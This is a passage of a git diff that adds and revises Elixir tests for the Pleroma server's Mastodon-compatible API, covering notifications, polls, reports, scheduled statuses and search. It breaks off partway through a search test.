+ {:ok, [notification]} = Notification.create_notifications(activity)
+
+ conn = get(conn, "/api/v1/notifications/#{notification.id}")
+
+ expected_response =
+ "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
+ user.ap_id
+ }\" rel=\"ugc\">@<span>#{user.nickname}</span></a></span>"
+
+ assert %{"status" => %{"content" => response}} = json_response(conn, 200)
+ assert response == expected_response
+ end
+
+ test "dismissing a single notification" do
+ %{user: user, conn: conn} = oauth_access(["write:notifications"])
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ {:ok, [notification]} = Notification.create_notifications(activity)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
+
+ assert %{} = json_response(conn, 200)
+ end
+
+ test "clearing all notifications" do
+ %{user: user, conn: conn} = oauth_access(["write:notifications", "read:notifications"])
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ {:ok, [_notification]} = Notification.create_notifications(activity)
+
+ ret_conn = post(conn, "/api/v1/notifications/clear")
+
+ assert %{} = json_response(ret_conn, 200)
+
+ ret_conn = get(conn, "/api/v1/notifications")
+
+ assert all = json_response(ret_conn, 200)
+ assert all == []
+ end
+
+ test "paginates notifications using min_id, since_id, max_id, and limit" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ other_user = insert(:user)
+
+ {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+
+ notification1_id = get_notification_id_by_activity(activity1)
+ notification2_id = get_notification_id_by_activity(activity2)
+ notification3_id = get_notification_id_by_activity(activity3)
+ notification4_id = get_notification_id_by_activity(activity4)
+
+ conn = assign(conn, :user, user)
+
+ # min_id
+ result =
+ conn
+ |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
+
+ # since_id
+ result =
+ conn
+ |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
+
+ # max_id
+ result =
+ conn
+ |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
+ end
+
+ describe "exclude_visibilities" do
+ test "filters notifications for mentions" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ other_user = insert(:user)
+
+ {:ok, public_activity} =
+ CommonAPI.post(other_user, %{"status" => "@#{user.nickname}", "visibility" => "public"})
+
+ {:ok, direct_activity} =
+ CommonAPI.post(other_user, %{"status" => "@#{user.nickname}", "visibility" => "direct"})
+
+ {:ok, unlisted_activity} =
+ CommonAPI.post(other_user, %{"status" => "@#{user.nickname}", "visibility" => "unlisted"})
+
+ {:ok, private_activity} =
+ CommonAPI.post(other_user, %{"status" => "@#{user.nickname}", "visibility" => "private"})
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{
+ exclude_visibilities: ["public", "unlisted", "private"]
+ })
+
+ assert [%{"status" => %{"id" => id}}] = json_response(conn_res, 200)
+ assert id == direct_activity.id
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{
+ exclude_visibilities: ["public", "unlisted", "direct"]
+ })
+
+ assert [%{"status" => %{"id" => id}}] = json_response(conn_res, 200)
+ assert id == private_activity.id
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{
+ exclude_visibilities: ["public", "private", "direct"]
+ })
+
+ assert [%{"status" => %{"id" => id}}] = json_response(conn_res, 200)
+ assert id == unlisted_activity.id
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{
+ exclude_visibilities: ["unlisted", "private", "direct"]
+ })
+
+ assert [%{"status" => %{"id" => id}}] = json_response(conn_res, 200)
+ assert id == public_activity.id
+ end
+
+ test "filters notifications for Like activities" do
+ user = insert(:user)
+ %{user: other_user, conn: conn} = oauth_access(["read:notifications"])
+
+ {:ok, public_activity} =
+ CommonAPI.post(other_user, %{"status" => ".", "visibility" => "public"})
+
+ {:ok, direct_activity} =
+ CommonAPI.post(other_user, %{"status" => "@#{user.nickname}", "visibility" => "direct"})
+
+ {:ok, unlisted_activity} =
+ CommonAPI.post(other_user, %{"status" => ".", "visibility" => "unlisted"})
+
+ {:ok, private_activity} =
+ CommonAPI.post(other_user, %{"status" => ".", "visibility" => "private"})
+
+ {:ok, _, _} = CommonAPI.favorite(public_activity.id, user)
+ {:ok, _, _} = CommonAPI.favorite(direct_activity.id, user)
+ {:ok, _, _} = CommonAPI.favorite(unlisted_activity.id, user)
+ {:ok, _, _} = CommonAPI.favorite(private_activity.id, user)
+
+ activity_ids =
+ conn
+ |> get("/api/v1/notifications", %{exclude_visibilities: ["direct"]})
+ |> json_response(200)
+ |> Enum.map(& &1["status"]["id"])
+
+ assert public_activity.id in activity_ids
+ assert unlisted_activity.id in activity_ids
+ assert private_activity.id in activity_ids
+ refute direct_activity.id in activity_ids
+
+ activity_ids =
+ conn
+ |> get("/api/v1/notifications", %{exclude_visibilities: ["unlisted"]})
+ |> json_response(200)
+ |> Enum.map(& &1["status"]["id"])
+
+ assert public_activity.id in activity_ids
+ refute unlisted_activity.id in activity_ids
+ assert private_activity.id in activity_ids
+ assert direct_activity.id in activity_ids
+
+ activity_ids =
+ conn
+ |> get("/api/v1/notifications", %{exclude_visibilities: ["private"]})
+ |> json_response(200)
+ |> Enum.map(& &1["status"]["id"])
+
+ assert public_activity.id in activity_ids
+ assert unlisted_activity.id in activity_ids
+ refute private_activity.id in activity_ids
+ assert direct_activity.id in activity_ids
+
+ activity_ids =
+ conn
+ |> get("/api/v1/notifications", %{exclude_visibilities: ["public"]})
+ |> json_response(200)
+ |> Enum.map(& &1["status"]["id"])
+
+ refute public_activity.id in activity_ids
+ assert unlisted_activity.id in activity_ids
+ assert private_activity.id in activity_ids
+ assert direct_activity.id in activity_ids
+ end
+
+ test "filters notifications for Announce activities" do
+ user = insert(:user)
+ %{user: other_user, conn: conn} = oauth_access(["read:notifications"])
+
+ {:ok, public_activity} =
+ CommonAPI.post(other_user, %{"status" => ".", "visibility" => "public"})
+
+ {:ok, unlisted_activity} =
+ CommonAPI.post(other_user, %{"status" => ".", "visibility" => "unlisted"})
+
+ {:ok, _, _} = CommonAPI.repeat(public_activity.id, user)
+ {:ok, _, _} = CommonAPI.repeat(unlisted_activity.id, user)
+
+ activity_ids =
+ conn
+ |> get("/api/v1/notifications", %{exclude_visibilities: ["unlisted"]})
+ |> json_response(200)
+ |> Enum.map(& &1["status"]["id"])
+
+ assert public_activity.id in activity_ids
+ refute unlisted_activity.id in activity_ids
+ end
+ end
+
+ test "filters notifications using exclude_types" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ other_user = insert(:user)
+
+ {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
+ {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
+ {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
+ {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
+ {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)
+
+ mention_notification_id = get_notification_id_by_activity(mention_activity)
+ favorite_notification_id = get_notification_id_by_activity(favorite_activity)
+ reblog_notification_id = get_notification_id_by_activity(reblog_activity)
+ follow_notification_id = get_notification_id_by_activity(follow_activity)
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})
+
+ assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})
+
+ assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})
+
+ assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)
+
+ conn_res =
+ get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})
+
+ assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
+ end
+
+ test "destroy multiple" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications", "write:notifications"])
+ other_user = insert(:user)
+
+ {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
+ {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
+ {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
+
+ notification1_id = get_notification_id_by_activity(activity1)
+ notification2_id = get_notification_id_by_activity(activity2)
+ notification3_id = get_notification_id_by_activity(activity3)
+ notification4_id = get_notification_id_by_activity(activity4)
+
+ result =
+ conn
+ |> get("/api/v1/notifications")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result
+
+ conn2 =
+ conn
+ |> assign(:user, other_user)
+ |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:notifications"]))
+
+ result =
+ conn2
+ |> get("/api/v1/notifications")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
+
+ conn_destroy =
+ conn
+ |> delete("/api/v1/notifications/destroy_multiple", %{
+ "ids" => [notification1_id, notification2_id]
+ })
+
+ assert json_response(conn_destroy, 200) == %{}
+
+ result =
+ conn2
+ |> get("/api/v1/notifications")
+ |> json_response(:ok)
+
+ assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
+ end
+
+ test "doesn't see notifications after muting user with notifications" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ user2 = insert(:user)
+
+ {:ok, _, _, _} = CommonAPI.follow(user, user2)
+ {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
+
+ ret_conn = get(conn, "/api/v1/notifications")
+
+ assert length(json_response(ret_conn, 200)) == 1
+
+ {:ok, _user_relationships} = User.mute(user, user2)
+
+ conn = get(conn, "/api/v1/notifications")
+
+ assert json_response(conn, 200) == []
+ end
+
+ test "see notifications after muting user without notifications" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ user2 = insert(:user)
+
+ {:ok, _, _, _} = CommonAPI.follow(user, user2)
+ {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
+
+ ret_conn = get(conn, "/api/v1/notifications")
+
+ assert length(json_response(ret_conn, 200)) == 1
+
+ {:ok, _user_relationships} = User.mute(user, user2, false)
+
+ conn = get(conn, "/api/v1/notifications")
+
+ assert length(json_response(conn, 200)) == 1
+ end
+
+ test "see notifications after muting user with notifications and with_muted parameter" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ user2 = insert(:user)
+
+ {:ok, _, _, _} = CommonAPI.follow(user, user2)
+ {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"})
+
+ ret_conn = get(conn, "/api/v1/notifications")
+
+ assert length(json_response(ret_conn, 200)) == 1
+
+ {:ok, _user_relationships} = User.mute(user, user2)
+
+ conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"})
+
+ assert length(json_response(conn, 200)) == 1
+ end
+
+ test "see move notifications with `with_move` parameter" do
+ old_user = insert(:user)
+ new_user = insert(:user, also_known_as: [old_user.ap_id])
+ %{user: follower, conn: conn} = oauth_access(["read:notifications"])
+
+ User.follow(follower, old_user)
+ Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user)
+ Pleroma.Tests.ObanHelpers.perform_all()
+
+ ret_conn = get(conn, "/api/v1/notifications")
+
+ assert json_response(ret_conn, 200) == []
+
+ conn = get(conn, "/api/v1/notifications", %{"with_move" => "true"})
+
+ assert length(json_response(conn, 200)) == 1
+ end
+
+ describe "link headers" do
+ test "preserves parameters in link headers" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+ other_user = insert(:user)
+
+ {:ok, activity1} =
+ CommonAPI.post(other_user, %{
+ "status" => "hi @#{user.nickname}",
+ "visibility" => "public"
+ })
+
+ {:ok, activity2} =
+ CommonAPI.post(other_user, %{
+ "status" => "hi @#{user.nickname}",
+ "visibility" => "public"
+ })
+
+ notification1 = Repo.get_by(Notification, activity_id: activity1.id)
+ notification2 = Repo.get_by(Notification, activity_id: activity2.id)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/notifications", %{media_only: true})
+
+ assert [link_header] = get_resp_header(conn, "link")
+ assert link_header =~ ~r/media_only=true/
+ assert link_header =~ ~r/min_id=#{notification2.id}/
+ assert link_header =~ ~r/max_id=#{notification1.id}/
+ end
+ end
+
+ describe "from specified user" do
+ test "account_id" do
+ %{user: user, conn: conn} = oauth_access(["read:notifications"])
+
+ %{id: account_id} = other_user1 = insert(:user)
+ other_user2 = insert(:user)
+
+ {:ok, _activity} = CommonAPI.post(other_user1, %{"status" => "hi @#{user.nickname}"})
+ {:ok, _activity} = CommonAPI.post(other_user2, %{"status" => "bye @#{user.nickname}"})
+
+ assert [%{"account" => %{"id" => ^account_id}}] =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/notifications", %{account_id: account_id})
+ |> json_response(200)
+
+ assert %{"error" => "Account is not found"} =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/notifications", %{account_id: "cofe"})
+ |> json_response(404)
+ end
+ end
+
+ defp get_notification_id_by_activity(%{id: id}) do
+ Notification
+ |> Repo.get_by(activity_id: id)
+ |> Map.get(:id)
+ |> to_string()
+ end
+end
diff --git a/test/web/mastodon_api/controllers/poll_controller_test.exs b/test/web/mastodon_api/controllers/poll_controller_test.exs
new file mode 100644
index 000000000..5a1cea11b
--- /dev/null
+++ b/test/web/mastodon_api/controllers/poll_controller_test.exs
@@ -0,0 +1,157 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.PollControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Object
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ describe "GET /api/v1/polls/:id" do
+ setup do: oauth_access(["read:statuses"])
+
+ test "returns poll entity for object id", %{user: user, conn: conn} do
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "Pleroma does",
+ "poll" => %{"options" => ["what Mastodon't", "n't what Mastodoes"], "expires_in" => 20}
+ })
+
+ object = Object.normalize(activity)
+
+ conn = get(conn, "/api/v1/polls/#{object.id}")
+
+ response = json_response(conn, 200)
+ id = to_string(object.id)
+ assert %{"id" => ^id, "expired" => false, "multiple" => false} = response
+ end
+
+ test "does not expose polls for private statuses", %{conn: conn} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(other_user, %{
+ "status" => "Pleroma does",
+ "poll" => %{"options" => ["what Mastodon't", "n't what Mastodoes"], "expires_in" => 20},
+ "visibility" => "private"
+ })
+
+ object = Object.normalize(activity)
+
+ conn = get(conn, "/api/v1/polls/#{object.id}")
+
+ assert json_response(conn, 404)
+ end
+ end
+
+ describe "POST /api/v1/polls/:id/votes" do
+ setup do: oauth_access(["write:statuses"])
+
+ test "votes are added to the poll", %{conn: conn} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(other_user, %{
+ "status" => "A very delicious sandwich",
+ "poll" => %{
+ "options" => ["Lettuce", "Grilled Bacon", "Tomato"],
+ "expires_in" => 20,
+ "multiple" => true
+ }
+ })
+
+ object = Object.normalize(activity)
+
+ conn = post(conn, "/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1, 2]})
+
+ assert json_response(conn, 200)
+ object = Object.get_by_id(object.id)
+
+ assert Enum.all?(object.data["anyOf"], fn %{"replies" => %{"totalItems" => total_items}} ->
+ total_items == 1
+ end)
+ end
+
+ test "author can't vote", %{user: user, conn: conn} do
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "Am I cute?",
+ "poll" => %{"options" => ["Yes", "No"], "expires_in" => 20}
+ })
+
+ object = Object.normalize(activity)
+
+ assert conn
+ |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [1]})
+ |> json_response(422) == %{"error" => "Poll's author can't vote"}
+
+ object = Object.get_by_id(object.id)
+
+ refute Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 1
+ end
+
+ test "does not allow multiple choices on a single-choice question", %{conn: conn} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(other_user, %{
+ "status" => "The glass is",
+ "poll" => %{"options" => ["half empty", "half full"], "expires_in" => 20}
+ })
+
+ object = Object.normalize(activity)
+
+ assert conn
+ |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1]})
+ |> json_response(422) == %{"error" => "Too many choices"}
+
+ object = Object.get_by_id(object.id)
+
+ refute Enum.any?(object.data["oneOf"], fn %{"replies" => %{"totalItems" => total_items}} ->
+ total_items == 1
+ end)
+ end
+
+ test "does not allow choice index to be greater than options count", %{conn: conn} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(other_user, %{
+ "status" => "Am I cute?",
+ "poll" => %{"options" => ["Yes", "No"], "expires_in" => 20}
+ })
+
+ object = Object.normalize(activity)
+
+ conn = post(conn, "/api/v1/polls/#{object.id}/votes", %{"choices" => [2]})
+
+ assert json_response(conn, 422) == %{"error" => "Invalid indices"}
+ end
+
+ test "returns 404 error when object is not exist", %{conn: conn} do
+ conn = post(conn, "/api/v1/polls/1/votes", %{"choices" => [0]})
+
+ assert json_response(conn, 404) == %{"error" => "Record not found"}
+ end
+
+ test "returns 404 when poll is private and not available for user", %{conn: conn} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(other_user, %{
+ "status" => "Am I cute?",
+ "poll" => %{"options" => ["Yes", "No"], "expires_in" => 20},
+ "visibility" => "private"
+ })
+
+ object = Object.normalize(activity)
+
+ conn = post(conn, "/api/v1/polls/#{object.id}/votes", %{"choices" => [0]})
+
+ assert json_response(conn, 404) == %{"error" => "Record not found"}
+ end
+ end
+end
diff --git a/test/web/mastodon_api/controllers/report_controller_test.exs b/test/web/mastodon_api/controllers/report_controller_test.exs
new file mode 100644
index 000000000..53c132ff4
--- /dev/null
+++ b/test/web/mastodon_api/controllers/report_controller_test.exs
@@ -0,0 +1,78 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.ReportControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ setup do: oauth_access(["write:reports"])
+
+ setup do
+ target_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(target_user, %{"status" => "foobar"})
+
+ [target_user: target_user, activity: activity]
+ end
+
+ test "submit a basic report", %{conn: conn, target_user: target_user} do
+ assert %{"action_taken" => false, "id" => _} =
+ conn
+ |> post("/api/v1/reports", %{"account_id" => target_user.id})
+ |> json_response(200)
+ end
+
+ test "submit a report with statuses and comment", %{
+ conn: conn,
+ target_user: target_user,
+ activity: activity
+ } do
+ assert %{"action_taken" => false, "id" => _} =
+ conn
+ |> post("/api/v1/reports", %{
+ "account_id" => target_user.id,
+ "status_ids" => [activity.id],
+ "comment" => "bad status!",
+ "forward" => "false"
+ })
+ |> json_response(200)
+ end
+
+ test "account_id is required", %{
+ conn: conn,
+ activity: activity
+ } do
+ assert %{"error" => "Valid `account_id` required"} =
+ conn
+ |> post("/api/v1/reports", %{"status_ids" => [activity.id]})
+ |> json_response(400)
+ end
+
+ test "comment must be up to the size specified in the config", %{
+ conn: conn,
+ target_user: target_user
+ } do
+ max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000)
+ comment = String.pad_trailing("a", max_size + 1, "a")
+
+ error = %{"error" => "Comment must be up to #{max_size} characters"}
+
+ assert ^error =
+ conn
+ |> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment})
+ |> json_response(400)
+ end
+
+ test "returns error when account is not exist", %{
+ conn: conn,
+ activity: activity
+ } do
+ conn = post(conn, "/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"})
+
+ assert json_response(conn, 400) == %{"error" => "Account not found"}
+ end
+end
diff --git a/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs
new file mode 100644
index 000000000..9666a7f2e
--- /dev/null
+++ b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs
@@ -0,0 +1,93 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Repo
+ alias Pleroma.ScheduledActivity
+
+ import Pleroma.Factory
+
+ test "shows scheduled activities" do
+ %{user: user, conn: conn} = oauth_access(["read:statuses"])
+
+ scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string()
+ scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string()
+ scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string()
+ scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string()
+
+ # min_id
+ conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}")
+
+ result = json_response(conn_res, 200)
+ assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
+
+ # since_id
+ conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}")
+
+ result = json_response(conn_res, 200)
+ assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result
+
+ # max_id
+ conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}")
+
+ result = json_response(conn_res, 200)
+ assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
+ end
+
+ test "shows a scheduled activity" do
+ %{user: user, conn: conn} = oauth_access(["read:statuses"])
+ scheduled_activity = insert(:scheduled_activity, user: user)
+
+ res_conn = get(conn, "/api/v1/scheduled_statuses/#{scheduled_activity.id}")
+
+ assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200)
+ assert scheduled_activity_id == scheduled_activity.id |> to_string()
+
+ res_conn = get(conn, "/api/v1/scheduled_statuses/404")
+
+ assert %{"error" => "Record not found"} = json_response(res_conn, 404)
+ end
+
+ test "updates a scheduled activity" do
+ %{user: user, conn: conn} = oauth_access(["write:statuses"])
+ scheduled_activity = insert(:scheduled_activity, user: user)
+
+ new_scheduled_at =
+ NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
+
+ res_conn =
+ put(conn, "/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{
+ scheduled_at: new_scheduled_at
+ })
+
+ assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200)
+ assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at)
+
+ res_conn = put(conn, "/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at})
+
+ assert %{"error" => "Record not found"} = json_response(res_conn, 404)
+ end
+
+ test "deletes a scheduled activity" do
+ %{user: user, conn: conn} = oauth_access(["write:statuses"])
+ scheduled_activity = insert(:scheduled_activity, user: user)
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
+
+ assert %{} = json_response(res_conn, 200)
+ assert nil == Repo.get(ScheduledActivity, scheduled_activity.id)
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
+
+ assert %{"error" => "Record not found"} = json_response(res_conn, 404)
+ end
+end
diff --git a/test/web/mastodon_api/search_controller_test.exs b/test/web/mastodon_api/controllers/search_controller_test.exs
index 043b96c14..effae130c 100644
--- a/test/web/mastodon_api/search_controller_test.exs
+++ b/test/web/mastodon_api/controllers/search_controller_test.exs
@@ -42,7 +42,7 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
user_two = insert(:user, %{nickname: "shp@shitposter.club"})
user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"})
- {:ok, activity} = CommonAPI.post(user, %{"status" => "This is about 2hu private"})
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "This is about 2hu private 天子"})
{:ok, _activity} =
CommonAPI.post(user, %{
@@ -52,9 +52,10 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})
- conn = get(conn, "/api/v2/search", %{"q" => "2hu #private"})
-
- assert results = json_response(conn, 200)
+ results =
+ conn
+ |> get("/api/v2/search", %{"q" => "2hu #private"})
+ |> json_response(200)
[account | _] = results["accounts"]
assert account["id"] == to_string(user_three.id)
@@ -65,18 +66,47 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
[status] = results["statuses"]
assert status["id"] == to_string(activity.id)
+
+ results =
+ get(conn, "/api/v2/search", %{"q" => "天子"})
+ |> json_response(200)
+
+ [status] = results["statuses"]
+ assert status["id"] == to_string(activity.id)
+ end
+
+ test "excludes a blocked users from search results", %{conn: conn} do
+ user = insert(:user)
+ user_smith = insert(:user, %{nickname: "Agent", name: "I love 2hu"})
+ user_neo = insert(:user, %{nickname: "Agent Neo", name: "Agent"})
+
+ {:ok, act1} = CommonAPI.post(user, %{"status" => "This is about 2hu private 天子"})
+ {:ok, act2} = CommonAPI.post(user_smith, %{"status" => "Agent Smith"})
+ {:ok, act3} = CommonAPI.post(user_neo, %{"status" => "Agent Smith"})
+ Pleroma.User.block(user, user_smith)
+
+ results =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"]))
+ |> get("/api/v2/search", %{"q" => "Agent"})
+ |> json_response(200)
+
+ status_ids = Enum.map(results["statuses"], fn g -> g["id"] end)
+
+ assert act3.id in status_ids
+ refute act2.id in status_ids
+ refute act1.id in status_ids
end
end
describe ".account_search" do
test "account search", %{conn: conn} do
- user = insert(:user)
user_two = insert(:user, %{nickname: "shp@shitposter.club"})
user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"})
results =
conn
- |> assign(:user, user)
|> get("/api/v1/accounts/search", %{"q" => "shp"})
|> json_response(200)
@@ -87,7 +117,6 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
results =
conn
- |> assign(:user, user)
|> get("/api/v1/accounts/search", %{"q" => "2hu"})
|> json_response(200)
@@ -95,6 +124,17 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
assert user_three.nickname in result_ids
end
+
+ test "returns account if query contains a space", %{conn: conn} do
+ insert(:user, %{nickname: "shp@shitposter.club"})
+
+ results =
+ conn
+ |> get("/api/v1/accounts/search", %{"q" => "shp@shitposter.club xxx "})
+ |> json_response(200)
+
+ assert length(results) == 1
+ end
end
describe ".search" do
@@ -131,11 +171,10 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})
- conn =
+ results =
conn
|> get("/api/v1/search", %{"q" => "2hu"})
-
- assert results = json_response(conn, 200)
+ |> json_response(200)
[account | _] = results["accounts"]
assert account["id"] == to_string(user_three.id)
@@ -146,15 +185,19 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
assert status["id"] == to_string(activity.id)
end
- test "search fetches remote statuses", %{conn: conn} do
+ test "search fetches remote statuses and prefers them over other results", %{conn: conn} do
capture_log(fn ->
- conn =
+ {:ok, %{id: activity_id}} =
+ CommonAPI.post(insert(:user), %{
+ "status" => "check out https://shitposter.club/notice/2827873"
+ })
+
+ results =
conn
|> get("/api/v1/search", %{"q" => "https://shitposter.club/notice/2827873"})
+ |> json_response(200)
- assert results = json_response(conn, 200)
-
- [status] = results["statuses"]
+ [status, %{"id" => ^activity_id}] = results["statuses"]
assert status["uri"] ==
"tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
@@ -169,11 +212,10 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
})
capture_log(fn ->
- conn =
+ results =
conn
|> get("/api/v1/search", %{"q" => Object.normalize(activity).data["id"]})
-
- assert results = json_response(conn, 200)
+ |> json_response(200)
[] = results["statuses"]
end)
@@ -182,22 +224,23 @@ defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do
test "search fetches remote accounts", %{conn: conn} do
user = insert(:user)
- conn =
+ results =
conn
|> assign(:user, user)
- |> get("/api/v1/search", %{"q" => "shp@social.heldscal.la", "resolve" => "true"})
+ |> assign(:token, insert(:oauth_token, user: user, scopes: ["read"]))
